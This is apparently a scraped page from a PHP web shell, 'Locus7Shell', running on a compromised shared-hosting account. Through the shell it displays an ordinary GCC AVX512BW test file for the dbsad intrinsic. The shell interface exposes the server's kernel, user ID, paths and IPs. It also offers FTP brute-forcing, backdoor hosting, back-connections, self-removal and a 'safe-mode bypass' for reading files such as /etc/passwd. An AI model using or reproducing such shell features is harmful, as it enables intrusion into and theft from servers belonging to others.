Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/i386/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     avx512bw-vdbpsadbw-2.c (1.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-options "-O2 -mavx512bw" } */
/* { dg-require-effective-target avx512bw } */

#define AVX512BW
#include "avx512f-helper.h"

#define SIZE (AVX512F_LEN / 16)
#include "avx512f-mask-type.h"

void
CALC (unsigned short *dst, unsigned char *src1, unsigned char *src2,
      int imm)
{
  int i, j, k, part, power;
  unsigned char tmp[2 * SIZE];;

  for (i = 0; i < 2 * SIZE; i += 16)
    {
      for (j = 0; j < 4; j++)
    {
      power = 1;
      for (k = 0; k < j; k++)
        power *= 4;
      part = (imm & (3 * power)) >> (2 * j);
      for (k = 0; k < 4; k++)
        tmp[i + 4 * j + k] = src2[i + 4 * part + k];
    }
    }

  for (i = 0; i < SIZE; i += 4)
    {
      dst[i] = dst[i + 1] = dst[i + 2] = dst[i + 3] = 0;
      for (j = 0; j < 4; j++)
    {
      dst[i] += abs (src1[2 * i + j] - tmp[2 * i + j]);
      dst[i + 1] += abs (src1[2 * i + j] - tmp[2 * i + j + 1]);
      dst[i + 2] += abs (src1[2 * i + j + 4] - tmp[2 * i + j + 2]);
      dst[i + 3] += abs (src1[2 * i + j + 4] - tmp[2 * i + j + 3]);
    }
    }
}

void
TEST (void)
{
  int i, sign;
  UNION_TYPE (AVX512F_LEN, i_w) res1, res2, res3;
  UNION_TYPE (AVX512F_LEN, i_b) src1, src2;
  MASK_TYPE mask = MASK_VALUE;
  unsigned short res_ref[SIZE];
  int imm = 0x22;

  sign = -1;
  for (i = 0; i < 2*SIZE; i++)
    {
      src1.a[i] = 1 + 34 * i * sign;
      src1.a[i] = 179 - i;
      sign = sign * -1;
    }

  for (i = 0; i < SIZE; i++)
      res2.a[i] = DEFAULT_VALUE;

  res1.x = INTRINSIC (_dbsad_epu8) (src1.x, src2.x, imm);
  res2.x = INTRINSIC (_mask_dbsad_epu8) (res2.x, mask, src1.x, src2.x, imm);
  res3.x = INTRINSIC (_maskz_dbsad_epu8) (mask, src1.x, src2.x, imm);

  CALC (res_ref, src1.a, src2.a, imm);

  if (UNION_CHECK (AVX512F_LEN, i_w) (res1, res_ref))
    abort ();

  MASK_MERGE (i_w) (res_ref, mask, SIZE);
  if (UNION_CHECK (AVX512F_LEN, i_w) (res2, res_ref))
    abort ();

  MASK_ZERO (i_w) (res_ref, mask, SIZE);
  if (UNION_CHECK (AVX512F_LEN, i_w) (res3, res_ref))
    abort ();
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0062 ]--